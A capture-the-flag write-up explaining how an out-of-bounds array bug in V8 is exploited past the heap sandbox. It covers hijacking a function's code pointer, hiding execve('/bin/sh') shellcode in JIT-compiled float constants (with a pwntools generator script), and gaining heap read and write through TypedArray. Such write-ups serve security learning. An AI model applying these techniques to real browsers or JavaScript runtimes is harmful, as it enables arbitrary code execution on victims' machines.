0x00 Introduction

In this challenge, we need to exploit V8 JavaScript engine with heap sandbox enabled. The bug is very simple: an array OOB. We bypass the sandbox by rewriting code field of function object, so that we can control the low 32 bits of rip register. We write the shellcode as double floating point immediate numbers in function and compile this function using JIT, and set rip to address of the shellcode to execute execve.

0x01 Sandbox Overview

The detail of the sandbox is here, but I will not detail it here. One important protection is that it converts all external pointers to indexes of a lookup table, such as pointer to web assembly RWX page and pointer of ArrayBuffer backing store. Thus, we cannot use normal approach to achieve arbitrary read and write.

0x02 Approach

Hijacking Program Counter

If we %DebugPrint a function object, we can see there is a code field pointing to an object at a r-x page. If we type job command to that code field, we can see many assembly instructions. These are exactly the instructions that will be executed if the function is called.

pwndbg> job 0x7fb0804ad55
0x7fb0804ad55: [Function]
 - map: 0x07fb082022c1 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - code: 0x07fb00004f01 <Code BUILTIN CompileLazy>  <---- code field
pwndbg> job 0x07fb00004f01
Instructions (size = 1112)
0x7fb07e8d6c0     0  55                   push rbp
0x7fb07e8d6c1     1  4889e5               REX.W movq rbp,rsp

We can verify this by setting a break point at 0x7fb07e8d6c0 and call the function in JavaScript. We can see the breakpoint is triggered in debugger.

Therefore, we can try to modify this field to see if we can hijack rip when this JavaScript function is called. We set the code field to 0x414141 using gdb set command, and call this function in JavaScript. We can see a crash at following location:

 ► 0x7fb07e8206b    test   dword ptr [rcx + 0x1b], 0x20000000
   0x7fb07e82072    jne    0x7fb07e82081 <0x7fb07e82081>

   0x7fb07e82078    add    rcx, 0x3f
   0x7fb07e8207c    jmp    0x7fb07e8208c <0x7fb07e8208c>
   0x7fb07e8208c    jmp    rcx

The value of rcx is 0x7fb00414141, which is base address plus the value we have provided.

Looking at the assembly code where the crash occurs, we can conclude that if dword ptr [rcx + 0x1b] & 0x20000000 is zero, rip will be set to rcx + 0x3f, which is an easily satisfiable condition.

Writing Shellcode with Immediate Numbers

Unlike web assembly, whose JIT code is stored in region outside the V8 heap, the normal JavaScript function store the JIT code inside the V8 heap (e.i. the 32-bit region starting with the base address, read this for more details). We can see this also by looking at code field of a JITed JavaScript function object.

const foo = () =>
	return [1.1, 2.2, 3.3];
DebugPrint: 0x29820804ae0d: [Function]
 - map: 0x2982082022c1 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - code: 0x298200044001 <Code TURBOFAN>
pwndbg> job 0x298200044001
0x298200044001: [Code]
Instructions (size = 304)
0x298200044040     0  8b59d0               movl rbx,[rcx-0x30]
0x29820004409f    5f  49ba9a9999999999f13f REX.W movq r10,0x3ff199999999999a
0x2982000440a9    69  c4c1f96ec2           vmovq xmm0,r10
0x2982000440ae    6e  c5fb114107           vmovsd [rcx+0x7],xmm0
0x2982000440b3    73  49ba9a99999999990140 REX.W movq r10,0x400199999999999a
0x2982000440bd    7d  c4c1f96ec2           vmovq xmm0,r10
0x2982000440c2    82  c5fb11410f           vmovsd [rcx+0xf],xmm0
0x2982000440c7    87  49ba6666666666660a40 REX.W movq r10,0x400a666666666666

As we can see in the JIT code, the IEEE representations of 1.1, 2.2 and 3.3 are compiled to r-x page inside the V8 heap region. We can write shellcode using these numbers and connect them with a jmp instruction. Since jmp instruction consumes 2 bytes, we have 6 bytes for shellcode, which are definitely enough.

Therefore, we can set rip to the shellcode using the method mentioned in last subsection. The condition can be easily satisfied by putting a 1.0 at first element of array.

We generate the shellcode with following scripts, and convert the hex numbers into IEEE floating point numbers using this website:

from pwn import *

jmp = b'\xeb\x0c'
shell = u64(b'/bin/sh\x00')

def make_double(code):
	assert len(code) <= 6
	print(hex(u64(code.ljust(6, b'\x90') + jmp))[2:])

make_double(asm("push %d; pop rax" % (shell >> 0x20)))
make_double(asm("push %d; pop rdx" % (shell % 0x100000000)))
make_double(asm("shl rax, 0x20; xor esi, esi"))
make_double(asm("add rax, rdx; xor edx, edx; push rax"))
code = asm("mov rdi, rsp; push 59; pop rax; syscall")
assert len(code) <= 8
print(hex(u64(code.ljust(8, b'\x90')))[2:])


The final function that can generate the shellcode is shown below:

const foo = ()=>
	return [1.0,

Another thing to note is that we must put the immediate numbers as elements of array, instead of using them in other ways like func(1.1, 2.2). The later one will generate JIT code that loads floating point numbers as HeapNumber, so that the immediate numbers cannot be compiled into r-x page.

Also, JIT compiling foo with loop can trigger garbage collection, so that we must compile it before triggering any vulnerability.

Arbitrary Read and Write within V8 Heap Region using TypedArray

Finally, we need to use the vulnerability to actually implement the idea mentioned above. We found that we can still use TypedArray to achieve arbitrary read and write within V8 heap region (e.i. 32-bit region starting with the base address). Therefore, we use array OOB write to rewrite field of Uint32Array to achieve this arbitrary read and write. We also use array OOB read to leak addresses of related function objects. The full exploit is here.